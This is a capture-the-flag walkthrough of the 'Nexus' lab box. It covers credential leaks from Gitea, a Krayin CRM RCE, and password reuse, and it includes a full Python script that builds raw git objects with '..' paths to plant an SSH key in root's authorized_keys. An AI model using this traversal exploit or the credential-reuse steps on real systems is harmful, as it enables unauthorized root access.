Nexus
Summary
Nexus is an easy Linux box built entirely on credential leaks and an unsanitized sync script. A public Gitea repo leaks a .env whose password unlocks a Krayin CRM login, which is then popped with CVE-2026-38526 for a shell as www-data. A second, different database password in the app's own .env is reused by the jones system user. That account controls a Gitea template-sync timer that copies git ls-tree output through os.path.join() unsanitized - so a crafted repo with ../ tree paths plants our SSH key in /root/.ssh/authorized_keys, and we log in as root.
Skills Required
- Subdomain enumeration and vhost fuzzing
- Reading git commit history for leaked secrets
- Reusing credentials across accounts/services
Skills Learned
- Exploiting a Krayin CRM RCE (CVE-2026-38526)
- Writing raw git objects to bypass path checks and sneak
..into trees - Abusing an unsanitized
os.path.join()in a sync script for path traversal - Using the
Hostextraheader trick for vhost-matching git remotes
Enumeration
The scan shows SSH and an nginx site that redirects to nexus.htb.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-title: Did not follow redirect to http://nexus.htb/
Vhost fuzzing finds two more hosts.
ffuf -u http://nexus.htb -H 'Host: FUZZ.nexus.htb' ... git [Status: 200, Size: 14474] billing [Status: 302, Size: 390]
On the main site an email for the hiring manager is visible:
j.matthew@nexus.htb
Add both hosts to /etc/hosts and dig in.
Foothold
Gitea leak → Krayin CRM
git.nexus.htb runs Gitea and hosts a repository containing a .env for the billing app. Scanning the commits turns up a password that was committed then mostly scrubbed:
DB_PASSWORD=N27xh!!2ucY04
billing.nexus.htb is a Krayin CRM. The leaked password works for the email harvested from the main site (j.matthew@nexus.htb) - Krayin accepts it as a password login.
Krayin RCE - CVE-2026-38526
Krayin CRM has an authenticated RCE via Krayin hashing - the PoC ships an exploit.py.
python exploit.py ... # shell as www-data
The other DB password
Inside the box, /var/www/krayin/.env holds a different database password than the one from Gitea. Easy to skim past - don't.
DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_DATABASE=krayin DB_USERNAME=krayin DB_PASSWORD=y27xb3ha!!74GbR
The users table only has a bcrypt hash for james that won't crack, and the password doesn't work for that login. But the box has two home directories:
ls /home git jones
The password works for the jones system user instead:
ssh jones@nexus.htb
Privilege Escalation
The template-sync timer
Checking timers reveals a root-ish automation:
systemctl list-timers gitea-template-sync.timer gitea-template-sync.service
Reading /etc/gitea/template-sync.py: it clones every repo flagged as a template and syncs its contents to /home/git/template-staging/<owner>/<repo>/. The flaw: it builds paths from git ls-tree output with os.path.join() and no traversal sanitization. If we get a repo with ../ in tree paths to be synced, the copy target escapes the staging dir.
Writing raw git objects
Git's own verify_path() refuses to create files with .. in the path, so a normal checkout can't do this. Instead we write raw objects straight into .git/objects/, building trees whose paths walk ../../../../root/.ssh/ and land an authorized_keys.
Generate a key and craft the repo with a builder script:
ssh-keygen -t ed25519 -f /tmp/.k -N ''
#!/usr/bin/env python3
import hashlib,zlib,os,subprocess,sys,time
def write_obj(data,t):
h=("%s %d"%(t,len(data))).encode()+b"\x00"
s=h+data
sha=hashlib.sha1(s).hexdigest()
d=os.path.join(".git","objects",sha[:2])
os.makedirs(d,exist_ok=True)
p=os.path.join(d,sha[2:])
if not os.path.exists(p):
open(p,"wb").write(zlib.compress(s))
return sha
def entry(mode,name,sha):
return("%s %s"%(mode,name)).encode()+b"\x00"+bytes.fromhex(sha)
if not os.path.isdir(".git"):
print("Run inside git repo");sys.exit(1)
r=subprocess.run(["cat","/tmp/.k.pub"],capture_output=True,text=True)
if r.returncode!=0:
print("ssh-keygen -t ed25519 -f /tmp/.k -N ''");sys.exit(1)
key=r.stdout.strip()+"\n"
blob=write_obj(key.encode(),"blob")
readme=write_obj(b"# Template\n","blob")
ssh_t=write_obj(entry("100644","authorized_keys",blob),"tree")
cur=write_obj(entry("40000",".ssh",ssh_t),"tree")
fir=write_obj(entry("40000","root",cur),"tree")
for i in range(4):
fir=write_obj(entry("40000","..",fir),"tree")
root=write_obj(entry("100644","README.md",readme)+entry("40000","..",fir),"tree")
ts=int(time.time())
c="tree %s\nauthor x %d +0000\ncommitter x %d +0000\n\ninit\n"%(root,ts,ts)
sha=write_obj(c.encode(),"commit")
os.makedirs(os.path.join(".git","refs","heads"),exist_ok=True)
open(os.path.join(".git","refs","heads","main"),"w").write(sha+"\n")
print("Done: "+sha)
Host trick for the vhost
The repo needs to exist under jones, but git.nexus.htb wouldn't resolve on our box. Point git at the IP while presenting the right Host header - nginx/Gitea match on the vhost, and basic auth rides in the Authorization header, so both work. To avoid repeating the flag every time, set it once:
git config http."http://10.129.234.54".extraheader "Host: git.nexus.htb" git remote set-url origin http://jones:'y27xb3ha!!74GbR'@10.129.234.54/jones/rce.git git push -u origin main --force
Build the malicious objects and push (force, since we write our own main ref):
python3 /tmp/builder.py Done: 22f71915ed1a8521b0c55359e846ab9545655cc5 git push -u origin main --force
Root shell
Once the timer syncs the malicious tree, our key lands in /root/.ssh/authorized_keys.
ssh -i /tmp/.k root@nexus.htb
Key Takeaways
- Every .env is different - the DB password from Gitea and the one on disk were distinct; one opened the CRM, the other the machine.
- Passwords get reused as system passwords too - try leaked DB creds against local users when the web login rejects them.
- Unsanitized
os.path.join()is path traversal - any script copying git tree paths without validation is a root shell waiting to happen. - Git object hashing bypasses
verify_path()- writing trees by hand with..components defeats the client-side checks. - Vhost reachability ≠ DNS - the
Hostextraheader lets git talk to the IP while satisfying the vhost.